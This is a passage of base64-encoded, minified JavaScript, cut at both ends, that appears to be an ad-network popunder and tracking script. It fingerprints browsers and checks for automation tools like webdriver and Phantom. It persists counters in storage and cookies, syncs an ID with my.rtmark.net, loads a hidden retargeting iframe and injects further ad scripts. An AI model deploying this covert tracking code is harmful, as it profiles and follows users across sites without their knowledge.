SkpLG0oKGZ1bmN0aW9uKCl7ZT13KGUsIm5wIixuYXZpZ2F0b3IucGx1Z2lucyBpbnN0YW5jZW9mIFBsdWdpbkFycmF5JiYwIT09bmF2aWdhdG9yLnBsdWdpbnMubGVuZ3RoPzE6MCl9KSksbSgoZnVuY3Rpb24oKXtlPXcoZSwicHQiLHZvaWQgMCE9PWguWi53aW4uY2FsbFBoYW50b218fHZvaWQgMCE9PWguWi53aW4uX3BoYW50b20/MTowKX0pKSxtKChmdW5jdGlvbigpe2U9dyhlLCJuYiIsImZ1bmN0aW9uIj09dHlwZW9mIG5hdmlnYXRvci5zZW5kQmVhY29uPzE6MCl9KSksbSgoZnVuY3Rpb24oKXtlPXcoZSwibmciLHZvaWQgMCE9PW5hdmlnYXRvci5nZW9sb2NhdGlvbj8xOjApfSkpLG0oKGZ1bmN0aW9uKCl7ZT13KGUsIml4Iix3aW5kb3cuc2VsZiE9PXdpbmRvdy50b3A/MTowKX0pKSxtKChmdW5jdGlvbigpe2U9dyhlLCJudyIsIndlYmRyaXZlciJpbiBuYXZpZ2F0b3I/MTowKX0pKSxtKChmdW5jdGlvbigpe2U9dyhlLCJ0YiIsbmF2aWdhdG9yLm1heFRvdWNoUG9pbnRzPjEpfSkpLG0oKGZ1bmN0aW9uKCl7ZT13KGUsImpzX2J1aWxkIiwiMiIpfSkpLGV9dmFyIFB0PSIiO2Z1bmN0aW9uIEl0KGUpe3JldHVybiB2b2lkIDA9PT1lJiYoZT0iIiksZnVuY3Rpb24oZSx0KXtpZighZSlyZXR1cm4iIjtpZighdClyZXR1cm4gZTt2YXIgbj0tMT09PWUuaW5kZXhPZigiPyIpPyI/IjoiJiI7cmV0dXJuIGUrbit0fShlLFB0KX0oZnVuY3Rpb24oKXtpZigidXNlckFnZW50RGF0YSJpbiBuYXZpZ2F0b3ImJiJnZXRIaWdoRW50cm9weVZhbHVlcyJpbiBuYXZpZ2F0b3IudXNlckFnZW50RGF0YSl7dmFyIGU9Qm9vbGVhbihuYXZpZ2F0b3IudXNlckFnZW50RGF0YS5tb2JpbGUpO3JldHVybiBuYXZpZ2F0b3IudXNlckFnZW50RGF0YS5nZXRIaWdoRW50cm9weVZhbHVlcyhbIm1vZGVsIiwicGxhdGZvcm0iLCJwbGF0Zm9ybVZlcnNpb24iXSkudGhlbigoZnVuY3Rpb24odCl7dmFyIG49dC5wbGF0Zm9ybSxyPXQucGxhdGZvcm1WZXJzaW9uLG89dC5tb2RlbCxpPWZ1bmN0aW9uKGUsdCl7c3dpdGNoKHQpe2Nhc2UiQW5kcm9pZCI6cmV0dXJuImFuZHJvaWQiO2Nhc2UiQ2hyb21lIE9TIjpyZXR1cm4iY2hyb21lX29zIjtjYXNlIkxpbnV4IjpyZXR1cm4ibGludXgiO2Nhc2UiV2luZG93cyI6cmV0dXJuIndpbmRvd3MiO2Nhc2UibWFjT1MiOnJldHVybiJtYWMifWlmKGUpc3dpdGNoKHQpe2Nhc2UiaU9TIjpyZXR1cm4iaW9zIjtjYXNlIkFuZHJvaWQiOnJldHVybiJhbmRyb2lkIjtkZWZhdWx0OnJldHVybiJvdGhlcl9tb2JpbGUifXJldHVybiJvdGhlciJ9KGUsbiksYT1mdW5jdGlvbihlLHQpe3ZhciBuPXQubWF0Y2goLyhcZCspKFxEKyhcZCspKT8uKi8pLHI9IiIsbz0iIjtyZXR1cm4gbiYmKHI9blsxXSxvPW5bM10pLCJtYWMiPT09ZSYmbz9lK3IrIi4iK286IndpbmRvd3MiPT09ZT8id2luIityOmUrcn0oaSxyKSxjPVtdO3JldHVybiBpJiZjLnB1c2goIm9zPSIrZW5jb2RlVVJJQ29tcG9uZW50KGkpKSxhJiZjLnB1c2goIm9zX3ZlcnNpb249IitlbmNvZGVVUklDb21wb25lbnQoYSkpLGUmJm8mJmMucHVzaCgiYW5kcm9pZF9tb2RlbD0iK2VuY29kZVVSSUNvbXBvbmVudChvKSksYy5qb2luKCImIil9KSkuY2F0Y2goKGZ1bmN0aW9uKCl7cmV0dXJuIFByb21pc2UucmVzb2x2ZSgiIil9KSl9cmV0dXJuIFByb21pc2UucmVzb2x2ZSgiIil9KSgpLnRoZW4oKGZ1bmN0aW9uKGUpe1B0PWV9KSk7dmFyIFR0LE90PSExO2Z1bmN0aW9uIEF0KGUsdCxuKXtpZih3aW5kb3cuaXNTa2luU2hvd2luZyl7dmFyIHI9ZS5pc0ltcHJlc3Npb25BdmFpbGFibGUobiksbz1yWzBdLGk9clsxXTtvP3dpbmRvdy5pc1NraW5TaG93aW5nKCl8fChUdCYmY2xlYXJUaW1lb3V0KFR0KSxUdD1udWxsLHdpbmRvdy5zaG93U2tpbih0KSk6VHR8fChUdD13aW5kb3cuc2V0VGltZW91dCgoZnVuY3Rpb24oKXtBdChlLHQsbil9KSxpKSl9fXZhciB4dD1bInNlcmllc1N0YXJ0IiwicHB1Q291bnQiLCJsYXN0UHB1IiwiY2xpY2tzU2luY2VTZXNzaW9uU3RhcnQiLCJjbGlja3NTaW5jZUxhc3RQcHUiXSxEdD0obmV3IERhdGUpLmdldFRpbWUoKSxMdD1mdW5jdGlvbigpe2Z1bmN0aW9uIGUoZSl7dmFyIHQ9dGhpczt0aGlzLnByZXZpb3VzQ2xpY2s9MCx0aGlzLmRhdGE9e30sdGhpcy5kb21haW5EYXRhPXt9O3ZhciBuPWUuU1Mscj0oZS5ydWlkLGUubGltTG8pLG89ZS56b25lSWQsaT1lLnJlc2V0Q291bnRlcnMsYT1lLnBhZ2VPbkRvbWFpblNlcmllc0ZvckxpbUxvLGM9ZS5yZWZyZXNoUGFnZU9uRG9tYWluU2VyaWVzRm9yTGltTG9PblBhZ2VSZWZyZXNoLHM9aC5aLmRvYy5sb2NhdGlvbi5wYXRobmFtZSx1PWguWi5kb2MubG9jYXRpb24uaG9zdHx8aC5aLmRvYy5sb2NhdGlvbi5ob3N0bmFtZTtpZih0aGlzLnBlcnNpc3RlbmNlS2V5PSJfX1BQVV9TRVNTSU9OXzFfIitvKyJfIisociYmcyksdGhpcy5wZXJzaXN0ZW5jZURvbWFpbktleT0iX19QUFVfU0VTU0lPTl9PTl9ET01BSU5fMV8iK28rIl8iK3UsdGhpcy5zZXNzaW9uQlNLZXk9Il9fQklfU0VTU0lPTl8iK28sdGhpcy5pbml0QnJvd3NlclNlc3Npb24oZSkseHQuZm9yRWFjaCgoZnVuY3Rpb24oZSl7dC5kYXRhW2VdPTAsdC5kb21haW5EYXRhW2VdPTB9KSksIWkpe3ZhciBsLGQ7aWYoIXJ8fCFhfHwhYyl7dHJ5e24mJmguWi53aW4uc2Vzc2lvblN0b3JhZ2UmJihsPWguWi53aW4uc2Vzc2lvblN0b3JhZ2VbdGhpcy5wZXJzaXN0ZW5jZUtleV0uc3BsaXQoInwiKSl9Y2F0Y2goZSl7fXRyeXshbCYmaC5aLndpbi5sb2NhbFN0b3JhZ2UmJihsPWguWi53aW4ubG9jYWxTdG9yYWdlW3RoaXMucGVyc2lzdGVuY2VLZXldLnNwbGl0KCJ8IikpfWNhdGNoKGUpe310cnl7aWYoIWwpe3ZhciBwPW5ldyBSZWdFeHAoIihefDsgKSIrdGhpcy5wZXJzaXN0ZW5jZUtleSsiPShbXjtdKikiKSxmPWguWi5kb2MuY29va2llLm1hdGNoKHApfHxbXTtsPWYuc2xpY2UoMiwzKS5wb3AoKS5zcGxpdCgifCIpfX1jYXRjaChlKXt9fWlmKGEpe3RyeXtuJiZoLloud2luLnNlc3Npb25TdG9yYWdlJiYoZD1oLloud2luLnNlc3Npb25TdG9yYWdlW3RoaXMucGVyc2lzdGVuY2VEb21haW5LZXldLnNwbGl0KCJ8IikpfWNhdGNoKGUpe310cnl7IWQmJmguWi53aW4ubG9jYWxTdG9yYWdlJiYoZD1oLloud2luLmxvY2FsU3RvcmFnZVt0aGlzLnBlcnNpc3RlbmNlRG9tYWluS2V5XS5zcGxpdCgifCIpKX1jYXRjaChlKXt9fXh0LmZvckVhY2goKGZ1bmN0aW9uKGUsbil7dC5kYXRhW2VdPXBhcnNlSW50KGwmJmxbbl0sMTApfHwwLHQuZG9tYWluRGF0YVtlXT1wYXJzZUludChkJiZkW25dLDEwKXx8MH0pKX19cmV0dXJuIGUucHJvdG90eXBlLmluaXRCcm93c2VyU2Vzc2lvbj1mdW5jdGlvbihlKXt0cnl7dmFyIHQ9ZS5ydWlkO2guWi53aW4uc2Vzc2lvblN0b3JhZ2UmJiFoLloud2luLnNlc3Npb25TdG9yYWdlW3RoaXMuc2Vzc2lvbkJTS2V5XSYmKGguWi53aW4uc2Vzc2lvblN0b3JhZ2VbdGhpcy5zZXNzaW9uQlNLZXldPXQpfWNhdGNoKGUpe319LGUucHJvdG90eXBlLmdldEJyb3dzZXJTZXNzaW9uPWZ1bmN0aW9uKCl7cmV0dXJuIGguWi53aW4uc2Vzc2lvblN0b3JhZ2U/aC5aLndpbi5zZXNzaW9uU3RvcmFnZVt0aGlzLnNlc3Npb25CU0tleV06IiJ9LGUucHJvdG90eXBlLmdldFByZXZpb3VzQ2xpY2s9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5wcmV2aW91c0NsaWNrfSxlLnByb3RvdHlwZS5pbmNyZW1lbnRDbGlja3M9ZnVuY3Rpb24oZSl7dGhpcy5kYXRhLmNsaWNrc1NpbmNlTGFzdFBwdSsrLHRoaXMuZGF0YS5jbGlja3NTaW5jZVNlc3Npb25TdGFydCsrLHRoaXMucHJldmlvdXNDbGljaz0obmV3IERhdGUpLmdldFRpbWUoKSx0aGlzLnNhdmVTZXNzaW9uRGF0YShlKX0sZS5wcm90b3R5cGUucmVzZXRDb3VudGVycz1mdW5jdGlvbihlKXt0aGlzLmRhdGEucHB1Q291bnQmJnRoaXMuZGF0YS5wcHVDb3VudC0tLHRoaXMuZGF0YS5sYXN0UHB1PTAsdGhpcy5kYXRhLmNsb3NlQ291bnQ9dm9pZCAwPT09dGhpcy5kYXRhLmNsb3NlQ291bnQ/MTorK3RoaXMuZGF0YS5jbG9zZUNvdW50LHRoaXMucHJldmlvdXNDbGljaz0wLHRoaXMuc2F2ZVNlc3Npb25EYXRhKGUpfSxlLnByb3RvdHlwZS5yZXNldENsb3NlQ291bnRlcj1mdW5jdGlvbigpe3RoaXMuZGF0YS5jbG9zZUNvdW50PTB9LGUucHJvdG90eXBlLmdldENsb3NlQ291bnRlcj1mdW5jdGlvbigpe3JldHVybiB0aGlzLmRhdGEuY2xvc2VDb3VudHx8MH0sZS5wcm90b3R5cGUuaW5jcmVtZW50SW1wcmVzc2lvbnM9ZnVuY3Rpb24oZSx0KXt2YXIgbj1lLnpvbmVJZCxyPWUuaW50ZXJtZWRpYXRlUGFnZSxvPWUuaW50ZXJtZWRpYXRlUGFnZUNsaWNrcyxpPWUucGFnZU9uRG9tYWluU2VyaWVzRm9yTGltTG87aWYodGhpcy5pc1Nlcmllc0VuZGVkKGUpWzBdJiYodGhpcy5kYXRhLnNlcmllc1N0YXJ0PShuZXcgRGF0ZSkuZ2V0VGltZSgpLHRoaXMuZGF0YS5wcHVDb3VudD0wLHRoaXMuZGF0YS5jbGlja3NTaW5jZVNlc3Npb25TdGFydD0xLGkmJih0aGlzLmRvbWFpbkRhdGEuc2VyaWVzU3RhcnQ9KG5ldyBEYXRlKS5nZXRUaW1lKCksdGhpcy5kb21haW5EYXRhLnBwdUNvdW50PTApKSx0aGlzLmRhdGEuY2xpY2tzU2luY2VMYXN0UHB1PTEsdGhpcy5kYXRhLnBwdUNvdW50Kz0xLGkmJih0aGlzLmRvbWFpbkRhdGEucHB1Q291bnQrPTEpLHImJm8pe3ZhciBhPSJ0bjE3d3BzM2Q5ayIrTnVtYmVyKG4pLnRvU3RyaW5nKDM2KSxjPSJ4a2Z3ZTE4MG5iIitOdW1iZXIobikudG9TdHJpbmcoMzYpLHM9by5zcGxpdCgiLyIpLHU9c1swXSxsPXNbMV0sZD1wYXJzZUludChsb2NhbFN0b3JhZ2VbY118fHNlc3Npb25TdG9yYWdlW2NdLDEwKXx8MCxwPWxvY2FsU3RvcmFnZVthXXx8c2Vzc2lvblN0b3JhZ2VbYV0sZj1wYXJzZUludChwLDEwKXx8MDtkfHwobG9jYWxTdG9yYWdlW2NdPShuZXcgRGF0ZSkuZ2V0VGltZSgpLHNlc3Npb25TdG9yYWdlW2NdPShuZXcgRGF0ZSkuZ2V0VGltZSgpKSwoZjxwYXJzZUludCh1LDEwKXx8dCkmJihmPj1wYXJzZUludCh1LDEwKStwYXJzZUludChsLDEwKS0xPyhkZWxldGUgc2Vzc2lvblN0b3JhZ2VbYV0sZGVsZXRlIGxvY2FsU3RvcmFnZVthXSk6KHNlc3Npb25TdG9yYWdlW2FdPWYrMSxsb2NhbFN0b3JhZ2VbYV09ZisxKSl9dGhpcy5kYXRhLmxhc3RQcHU9KG5ldyBEYXRlKS5nZXRUaW1lKCksdGhpcy5zYXZlU2Vzc2lvbkRhdGEoZSksaC5aLndpblsicHB1V2FzU2hvd25Gb3IiK25dPSEwfSxlLnByb3RvdHlwZS5zYXZlU2Vzc2lvbkRhdGE9ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcyxuPWUuU1Mscj1lLmRvbWFpbixvPWUucGFnZU9uRG9tYWluU2VyaWVzRm9yTGltTG8saT14dC5tYXAoKGZ1bmN0aW9uKGUpe3JldHVybiB0LmRhdGFbZV19KSkuZmlsdGVyKChmdW5jdGlvbihlKXtyZXR1cm4gdm9pZCAwIT09ZX0pKS5qb2luKCJ8IiksYT14dC5tYXAoKGZ1bmN0aW9uKGUpe3JldHVybiB0LmRvbWFpbkRhdGFbZV19KSkuZmlsdGVyKChmdW5jdGlvbihlKXtyZXR1cm4gdm9pZCAwIT09ZX0pKS5qb2luKCJ8Iik7dHJ5e2lmKG4mJmguWi53aW4uc2Vzc2lvblN0b3JhZ2UmJihoLloud2luLnNlc3Npb25TdG9yYWdlW3RoaXMucGVyc2lzdGVuY2VLZXldPWksbyYmKGguWi53aW4uc2Vzc2lvblN0b3JhZ2VbdGhpcy5wZXJzaXN0ZW5jZURvbWFpbktleV09YSksaC5aLndpbi5zZXNzaW9uU3RvcmFnZVt0aGlzLnBlcnNpc3RlbmNlS2V5XT09PWkpKXJldHVybn1jYXRjaChlKXt9dHJ5e2lmKGguWi53aW4ubG9jYWxTdG9yYWdlJiYoaC5aLndpbi5sb2NhbFN0b3JhZ2VbdGhpcy5wZXJzaXN0ZW5jZUtleV09aSxvJiYoaC5aLndpbi5sb2NhbFN0b3JhZ2VbdGhpcy5wZXJzaXN0ZW5jZURvbWFpbktleV09YSksaC5aLndpbi5sb2NhbFN0b3JhZ2VbdGhpcy5wZXJzaXN0ZW5jZUtleV09PT1pKSlyZXR1cm59Y2F0Y2goZSl7fXRyeXt2YXIgYz1uZXcgRGF0ZTtjLnNldERhdGUoYy5nZXREYXRlKCkrMSksaC5aLmRvYy5jb29raWU9dGhpcy5wZXJzaXN0ZW5jZUtleSsiPTsgZXhwaXJlcz1UaHUsIDAxIEphbiAxOTcwIDAwOjAwOjAxIEdNVDsgcGF0aD0vIixoLlouZG9jLmNvb2tpZT10aGlzLnBlcnNpc3RlbmNlS2V5KyI9IitpKyI7IGV4cGlyZXM9IitjLnRvVVRDU3RyaW5nKCkrIjsgcGF0aD0vOyBkb21haW49Iisocnx8aC5aLmRvYy5kb21haW4pfWNhdGNoKGUpe319LGUucHJvdG90eXBlLnNhdmVTZXNzaW9uQ3VzdG9tS2V5PWZ1bmN0aW9uKGUsdCxuLHIpe3ZhciBvPWUuZG9tYWluLGk9ZS56b25lSWQsYT0obmV3IERhdGUpLmdldFRpbWUoKStuLGM9Il9fUFBVXyIrdCsiXyIraTt0cnl7aWYociYmaC5aLndpbi5zZXNzaW9uU3RvcmFnZSlyZXR1cm4gaC5aLndpbi5zZXNzaW9uU3RvcmFnZVtjXT1hLGF9Y2F0Y2goZSl7fXRyeXtpZihoLloud2luLmxvY2FsU3RvcmFnZSlyZXR1cm4gaC5aLndpbi5sb2NhbFN0b3JhZ2VbY109YSxhfWNhdGNoKGUpe310cnl7aC5aLmRvYy5jb29raWU9YysiPSIrITArIjsgZXhwaXJlcz0iK25ldyBEYXRlKGEpLnRvVVRDU3RyaW5nKCkrIjsgcGF0aD0vOyBkb21haW49Iisob3x8aC5aLmRvYy5kb21haW4pfWNhdGNoKGUpe31yZXR1cm4gbnVsbH0sZS5wcm90b3R5cGUuY2hlY2tTZXNzaW9uQ3VzdG9tS2V5PWZ1bmN0aW9uKGUsdCxuKXt2YXIgcj0iX19QUFVfIit0KyJfIitlLnpvbmVJZCxvPShuZXcgRGF0ZSkuZ2V0VGltZSgpK247dHJ5e2lmKGguWi53aW4uc2Vzc2lvblN0b3JhZ2UmJmkoInNlc3Npb25TdG9yYWdlIikpcmV0dXJuITB9Y2F0Y2goZSl7fXRyeXtpZihoLloud2luLmxvY2FsU3RvcmFnZSYmaSgibG9jYWxTdG9yYWdlIikpcmV0dXJuITB9Y2F0Y2goZSl7fXRyeXtyZXR1cm4gaC5aLmRvYy5jb29raWUubWF0Y2gobmV3IFJlZ0V4cCgiKF58OyApIityKyI9KFteO10qKSIpKX1jYXRjaChlKXt9ZnVuY3Rpb24gaShlKXtyZXR1cm4gdm9pZCAwIT09aC5aLndpbltlXSYmdm9pZCAwIT09aC5aLndpbltlXVtyXSYmKCEoKG5ldyBEYXRlKS5nZXRUaW1lKCk+PWguWi53aW5bZV1bcl0pfHwoaC5aLndpbltlXVtyXT1vLCExKSl9cmV0dXJuIG51bGx9LGUucHJvdG90eXBlLmlzU2VyaWVzRW5kZWQ9ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5wcHVDbGlja3Msbj1lLnNlc3Npb25UaW1lb3V0O2lmKGUucGFnZU9uRG9tYWluU2VyaWVzRm9yTGltTG8pe2lmKChuZXcgRGF0ZSkuZ2V0VGltZSgpPD10aGlzLmRvbWFpbkRhdGEuc2VyaWVzU3RhcnQrMWUzKm4pcmV0dXJuWyExLHRoaXMuZG9tYWluRGF0YS5zZXJpZXNTdGFydCsxZTMqbi0obmV3IERhdGUpLmdldFRpbWUoKV19ZWxzZSBpZighbiYmdCl7aWYodGhpcy5kYXRhLmNsaWNrc1NpbmNlTGFzdFBwdT4xJiZ0Pj10aGlzLmRhdGEuY2xpY2tzU2luY2VMYXN0UHB1KXJldHVyblshMV19ZWxzZSBpZigobmV3IERhdGUpLmdldFRpbWUoKTw9dGhpcy5kYXRhLnNlcmllc1N0YXJ0KzFlMypuKXJldHVyblshMSx0aGlzLmRhdGEuc2VyaWVzU3RhcnQrMWUzKm4tKG5ldyBEYXRlKS5nZXRUaW1lKCldO3JldHVyblshMF19LGUucHJvdG90eXBlLmlzSW1wcmVzc2lvbkF2YWlsYWJsZT1mdW5jdGlvbihlKXt2YXIgdD1lLnBwdVFudHksbj1lLnBwdUNsaWNrcyxyPWUucHB1VGltZW91dCxvPWUuc3RhcnRDbGlja3MsaT1lLnN0YXJ0VGltZW91dCxhPWUuc2Vzc2lvbkNsaWNrcyxjPWUuYWxsb3dEaXNhYmxlVHJpZ2dlcixzPWUucGFnZU9uRG9tYWluU2VyaWVzRm9yTGltTG87aWYoaC5aLndpbi5wcHVEaXNhYmxlVHJpZ2dlciYmYylyZXR1cm5bITFdO2lmKG8mJm8+dGhpcy5kYXRhLmNsaWNrc1NpbmNlU2Vzc2lvblN0YXJ0KXJldHVyblshMV07aWYoKG5ldyBEYXRlKS5nZXRUaW1lKCktRHQ8aSlyZXR1cm5bITEsaS0oKG5ldyBEYXRlKS5nZXRUaW1lKCktRHQpXTtpZihhJiZ0aGlzLmRhdGEuY2xpY2tzU2luY2VMYXN0UHB1PjEmJnRoaXMuZGF0YS5jbGlja3NTaW5jZUxhc3RQcHU8PWErMSlyZXR1cm5bITFdO3ZhciB1PXRoaXMuaXNTZXJpZXNFbmRlZChlKSxsPXVbMF0sZD11WzFdO2lmKGwpcmV0dXJuWyEwXTtpZihzKXJldHVybiB0aGlzLmRvbWFpbkRhdGEucHB1Q291bnQ+PXR8fHRoaXMuZGF0YS5wcHVDb3VudDxzP1shMSxkXTpbITBdO2lmKHRoaXMuZGF0YS5wcHVDb3VudD49dClyZXR1cm5bITEsZF07aWYobil7aWYodGhpcy5kYXRhLmNsaWNrc1NpbmNlTGFzdFBwdSYmdGhpcy5kYXRhLmNsaWNrc1NpbmNlTGFzdFBwdTw9bilyZXR1cm5bITFdfWVsc2UgaWYoKG5ldyBEYXRlKS5nZXRUaW1lKCk8dGhpcy5kYXRhLmxhc3RQcHUrMWUzKnIpcmV0dXJuWyExLHRoaXMuZGF0YS5sYXN0UHB1KzFlMypyLShuZXcgRGF0ZSkuZ2V0VGltZSgpXTtyZXR1cm5bITBdfSxlLnByb3RvdHlwZS5pc0ludGVybWVkaWF0ZUltcHJlc3Npb25BdmFpbGFibGU9ZnVuY3Rpb24oZSl7dmFyIHQ9ZS56b25lSWQsbj1lLnVzZXJHZW8scj1lLmludGVybWVkaWF0ZVBhZ2Usbz1lLmludGVybWVkaWF0ZVBhZ2VDbGlja3MsaT1lLmludGVybWVkaWF0ZVBhZ2VHZW8sYT0idG4xN3dwczNkOWsiK051bWJlcih0KS50b1N0cmluZygzNiksYz0ieGtmd2UxODBuYiIrTnVtYmVyKHQpLnRvU3RyaW5nKDM2KTsocGFyc2VJbnQobG9jYWxTdG9yYWdlW2NdfHxzZXNzaW9uU3RvcmFnZVtjXSwxMCl8fChuZXcgRGF0ZSkuZ2V0VGltZSgpKSs4NjRlNTwobmV3IERhdGUpLmdldFRpbWUoKSYmKGRlbGV0ZSBsb2NhbFN0b3JhZ2VbY10sZGVsZXRlIGxvY2FsU3RvcmFnZVthXSxkZWxldGUgc2Vzc2lvblN0b3JhZ2VbY10sZGVsZXRlIHNlc3Npb25TdG9yYWdlW2FdKTt2YXIgcz1pJiZpLnNwbGl0KCIsIikubWFwKChmdW5jdGlvbihlKXtyZXR1cm4gZS50b0xvd2VyQ2FzZSgpLnRyaW0oKX0pKTtpZighcilyZXR1cm4hMTtpZihzJiZzLmxlbmd0aCYmLTE9PT1zLmluZGV4T2YobikpcmV0dXJuITE7dmFyIHU9bG9jYWxTdG9yYWdlW2FdfHxzZXNzaW9uU3RvcmFnZVthXSxsPXBhcnNlSW50KHUsMTApfHwwO2lmKG8pe3ZhciBkPW8uc3BsaXQoIi8iKVswXTtpZihsPHBhcnNlSW50KGQsMTApKXJldHVybiExfXJldHVybiEwfSxlfSgpLE50PSJzeW5jSWQiO3ZhciBNdD1mdW5jdGlvbigpe2Z1bmN0aW9uIGUoZSl7dGhpcy5uYW1lPSJnaWRyYXRvciIsdGhpcy5vcHRpb25zPWV9cmV0dXJuIGUucHJvdG90eXBlLmlzU3luY2VkPWZ1bmN0aW9uKCl7cmV0dXJuISFsb2NhbFN0b3JhZ2UuZ2V0SXRlbShOdCl9LGUucHJvdG90eXBlLmdldFN5bmNJZD1mdW5jdGlvbigpe3JldHVybiBsb2NhbFN0b3JhZ2UuZ2V0SXRlbShOdCl9LGUucHJvdG90eXBlLnN5bmM9ZnVuY3Rpb24oZSx0KXshZnVuY3Rpb24oZSx0LG4pe3ZhciByPW5ldyBYTUxIdHRwUmVxdWVzdCxvPSJodHRwczovL215LnJ0bWFyay5uZXQvZ2lkLmpzIjtlJiYobz1vKyI/dXNlcklkPSIrZSksci5vcGVuKCJHRVQiLG8sITApLHIud2l0aENyZWRlbnRpYWxzPSEwLHIudGltZW91dD0xZTMsci5vbmxvYWQ9ZnVuY3Rpb24oKXt0cnl7dChKU09OLnBhcnNlKHRoaXMucmVzcG9uc2UpKX1jYXRjaChlKXt0cnl7bihlKX1jYXRjaChlKXt9fX0sci5vbmVycm9yPWZ1bmN0aW9uKGUpe24oZSl9LHIuc2VuZCgpfSh0aGlzLm9wdGlvbnMub2FpZCwoZnVuY3Rpb24odCl7dmFyIG49dC5naWQ7bG9jYWxTdG9yYWdlLnNldEl0ZW0oTnQsbiksZSgpfSksdCl9LGV9KCk7Y29uc3QgenQ9TXQ7ZnVuY3Rpb24gRnQoZSx0LG4pe3ZvaWQgMD09PXQmJih0PSIsICIpLHZvaWQgMD09PW4mJihuPTUwMCk7dHJ5e3JldHVybiBlLnNwbGl0KHQpLnNsaWNlKDAsbikuam9pbih0KX1jYXRjaChlKXtyZXR1cm4iIn19Y29uc3QgVXQ9ZnVuY3Rpb24oKXtmdW5jdGlvbiBlKGUpe3RoaXMubmFtZT0ibGVnYWN5Iix0aGlzLm9wdGlvbnM9ZSx0aGlzLnN5bmNlZD0hMX1yZXR1cm4gZS5wcm90b3R5cGUuaXNTeW5jZWQ9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5zeW5jZWR9LGUucHJvdG90eXBlLmdldFN5bmNJZD1mdW5jdGlvbigpe3JldHVybiIifSxlLnByb3RvdHlwZS5zeW5jPWZ1bmN0aW9uKGUsdCl7dmFyIG49dGhpczttKChmdW5jdGlvbigpe3ZhciByLG8saSxhO24ub3B0aW9ucy5yZXRhcmdldGluZ0ZyYW1lVXJsJiYocj1uLm9wdGlvbnMucmV0YXJnZXRpbmdGcmFtZVVybCxvPWZ1bmN0aW9uKCl7bi5vcHRpb25zLnNlbmRNZXRhVXJsJiZuLm9wdGlvbnMuc2VuZE1ldGFFbmFibGVkJiZmdW5jdGlvbihlKXt0cnl7dmFyIHQ9ZG9jdW1lbnQucXVlcnlTZWxlY3RvcigidGl0bGUiKSxuPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIm1ldGFbbmFtZT1rZXl3b3Jkc10iKSxyPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIm1ldGFbbmFtZT1kZXNjcmlwdGlvbl0iKSxvPXQmJnQuaW5uZXJIVE1MfHwiIixpPW4mJm4uZ2V0QXR0cmlidXRlKCJjb250ZW50Iil8fCIiLGE9ciYmci5nZXRBdHRyaWJ1dGUoImNvbnRlbnQiKXx8IiIsYz17dGl0bGU6RnQobywiICIpLGtleXdvcmRzOkZ0KGksIiwgIiksZGVzY3JpcHRpb246RnQoYSwiICIpfSxzPW5ldyBYTUxIdHRwUmVxdWVzdDtzLm9wZW4oIlBPU1QiLGUsITApLHMud2l0aENyZWRlbnRpYWxzPSEwLHMuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwiYXBwbGljYXRpb24vanNvbiIpLHMuc2VuZChKU09OLnN0cmluZ2lmeShjKSksaygic2VuZE1ldGEiKX1jYXRjaChlKXt9fShuLm9wdGlvbnMuc2VuZE1ldGFVcmwpLG4uc3luY2VkPSEwLGUoKX0saT1mdW5jdGlvbihlKXt2ZS5jb2xsZWN0RXJyb3Iobi5vcHRpb25zLCJtYWtlSUZyYW1lIixlKSx0KGUpfSwoYT1oLlouY3JlYXRlRWxlbWVudC5jYWxsKGguWi5kb2MsImlmcmFtZSIpKS5zdHlsZS5kaXNwbGF5PSJub25lIixhLnNyYz1yLGEub25sb2FkPW8sYS5vbmVycm9yPWksKGguWi5kb2MuYm9keXx8aC5aLmRvY0VsZW1lbnQpLmFwcGVuZENoaWxkKGEpKX0pKX0sZX0oKTt2YXIganQsUnQscXQsQnQsVnQsS3QsV3QsSHQ9WzM5MTEyNzgsNDQwMDYzMF07ZnVuY3Rpb24gWHQoZSl7ZS5zY3JpcHRzJiZmdW5jdGlvbihlKXtmb3IodmFyIHQsbj1lLnNjcmlwdHMscj1uLmxlbmd0aCxvPWguWi5kb2MuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInNjcmlwdCIpWzBdO3I7KXItPTEsKHQ9aC5aLmNyZWF0ZUVsZW1lbnQuY2FsbChoLlouZG9jLCJzY3JpcHQiKSkudHlwZT0idGV4dC9qYXZhc2NyaXB0Iix0LmFzeW5jPSEwLHQuc3JjPW5bcl0sby5wYXJlbnRFbGVtZW50Lmluc2VydEJlZm9yZSh0LG8pfShlKSxlLmV4dHJhT25jbGlja1VybCYmbXQoZS5leHRyYU9uY2xpY2tVcmwpLGUuaW5QYWdlUHVzaFVybCYmbXQoZS5pblBhZ2VQdXNoVXJsKSxlLnB1c2hVcmwmJm10KGUucHVzaFVybCksZS5pbnRlcnN0aXRpYWxVcmwmJm10KGUuaW50ZXJzdGl0aWFsVXJsLCJfX2ludGVyc3RpdGlhbEluaXRlZCIpLGUuc2xpZGVyVXJsJiZtdChlLnNsaWRlclVybCksZS5ub3RpZmljYXRpb25PblBhZ2VFbmFibGVkJiZtdChlLm5vdGlmaWNhdGlvbk9uUGFnZUxpYlVybCxudWxsLChmdW5jdGlvbih0KXt0Lm9ubG9hZD1mdW5jdGlvbih0KXt0KHt6b25lSWQ6ZS5ub3RpZmljYXRpb25PblBhZ2Vab25lSWQscHViOmUubm90aWZpY2F0aW9uT25QYWdlUHVifHwwLG5vdGlmaWNhdGlvbk9uUGFnZUZyZXE6ZS5ub3RpZmljYXRpb25PblBhZ2VGcmVxfHwzLG5vdGlmaWNhdGlvbk9uUGFnZVBlcmlvZE1zOmUubm90aWZpY2F0aW9uT25QYWdlUGVyaW9kTXN8fDEyZTMsbm90aWZpY2F0aW9uT25QYWdlRGVsYXlNczplLm5vdGlmaWNhdGlvbk9uUGFnZURlbGF5TXN8fDB9KX19KSl9ZnVuY3Rpb24gSnQobil7dmFyIG89InN0cmluZyI9PXR5cGVvZiBuP0pTT04ucGFyc2UoZnVuY3Rpb24oZSx0KXt2b2lkIDA9PT10JiYodD1TdHJpbmcuZnJvbUNoYXJDb2RlKTtmb3IodmFyIG49IiIscj0xLG89MDtvPGUubGVuZ3RoO28rKyl7dmFyIGk9RXQuaW5kZXhPZihlW29dKTtfdC5pbmRleE9mKGVbb10pPi0xJiYwPT09X3QuaW5k